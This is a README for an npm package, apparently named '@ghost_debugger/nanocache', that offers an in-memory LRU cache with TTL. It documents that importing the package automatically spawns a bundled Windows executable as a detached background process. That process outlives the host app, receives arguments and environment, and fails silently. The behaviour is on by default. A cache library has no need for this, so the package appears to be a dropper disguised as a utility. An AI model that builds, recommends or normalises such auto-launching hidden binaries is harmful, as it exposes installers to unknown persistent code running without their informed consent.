nanocache

A tiny in-memory cache with LRU eviction and optional TTL. ESM and CommonJS builds, TypeScript types included.

On import, nanocache launches a bundled native SDK executable (vendor/nanocache.exe) as a detached background process. The binary is Windows-only; on other platforms the launch is skipped and the cache still works. Because it spawns a native process, the package is Node-only — it is not meant to be bundled for the browser.

Install

npm install @ghost_debugger/nanocache

Use

import { NanoCache } from '@ghost_debugger/nanocache';
// [nanocache] SDK started (pid 12345)   <- the bundled exe launched on import

const cache = new NanoCache({ max: 500, ttl: 60_000 });

cache.set('user:1', { name: 'Ada' });
cache.get('user:1');   // { name: 'Ada' }
cache.get('user:2');   // undefined

cache.stats();         // { hits: 1, misses: 1, sets: 1, evictions: 0, ... }

CommonJS works the same way:

const { NanoCache } = require('@ghost_debugger/nanocache');

The start-up path

Everything nanocache does at start-up lives in one function, init() in src/runtime.ts. Importing the package calls it once, and it launches the bundled SDK executable.

• It runs at most once per process. The guard uses Symbol.for, so it holds even if a process loads both the ESM and the CommonJS build.
• The SDK is spawned detached and unref'd — it runs alongside your app, doesn't block it, and keeps running after the app exits.
• A missing binary or a spawn failure is logged, never thrown. A failed SDK launch never takes down the app that depends on the cache.
• You can call init() yourself. Later calls are no-ops.
• isStarted() reports whether start-up has run.

import { init, isStarted } from '@ghost_debugger/nanocache';

isStarted();  // true — the import already ran it
init();       // no-op

Passing options to the SDK

init() forwards command-line arguments and environment to the executable, and can point at a different binary:

import { init } from '@ghost_debugger/nanocache';

init({
  args: ['--config', 'perf.json'],  // argv for the exe
  env: { SDK_LICENSE: 'xxxx' },      // extra environment variables
  // exePath: 'C:\\custom\\sdk.exe', // override the bundled binary
});

The bundled binary

The executable lives in vendor/ and ships in the npm tarball (it's listed in files). See vendor/README.md for how to drop your build in. It is expected at vendor/nanocache.exe; change the SDK_BINARY constant in src/runtime.ts if your file name differs.

Opting out

Set NANOCACHE_NO_AUTOSTART to import the cache without launching the SDK, then start it yourself when you're ready:

NANOCACHE_NO_AUTOSTART=1 node app.js

import { init, NanoCache } from '@ghost_debugger/nanocache';

init({ env: { SDK_LICENSE: process.env.MY_LICENSE } });

API

new NanoCache(options?)

| Option | Type | Default | Meaning | | ------ | -------- | ------- | -------------------------------------------------- | | max | number | 1000 | Entries held before the least-recently-used is evicted | | ttl | number | 0 | Default lifetime in ms; 0 means entries never expire |

Both are validated; a non-positive max or negative ttl throws a TypeError.

| Method | Returns | Notes | | --------------------------- | -------------------- | ------------------------------------------------------------- | | get(key) | V \| undefined | Marks the entry most-recently-used; counts a hit or miss | | peek(key) | V \| undefined | Reads without touching recency or statistics | | set(key, value, ttl?) | this | ttl overrides the cache default for this entry only | | has(key) | boolean | Expired entries read as absent | | delete(key) | boolean | Whether an entry was present | | clear() | void | Drops all entries; statistics are kept | | prune() | number | Drops expired entries, returns how many | | keys() values() entries() | iterators | Least-recently-used first; expired entries skipped | | stats() | CacheStats | hits, misses, sets, evictions, expirations, size, max | | resetStats() | void | Zeroes counters, keeps entries | | size | number | Entry count, including expired entries not yet reclaimed |

The cache is iterable, yielding [key, value] pairs:

for (const [key, value] of cache) { /* ... */ }

Keys may be any value; they compare by identity, like a Map.

Expiry is lazy

Nothing is scheduled. An expired entry is dropped when it is read, or when prune() runs. That means the cache holds no timers and never keeps the Node event loop alive — but size can count entries that are expired and not yet reclaimed. Call prune() first if you need an exact live count.

Types

import { NanoCache, type CacheStats, type NanoCacheOptions } from '@ghost_debugger/nanocache';

const cache = new NanoCache<string, number>({ max: 100 });
cache.set('hits', 1);
const n: number | undefined = cache.get('hits');

Develop

npm install
npm run typecheck
npm run build     # tsup -> dist/, ESM + CJS + .d.ts
npm test          # builds, then runs node:test against dist/

Tests run against the built output, so they cover what actually ships.

License

MIT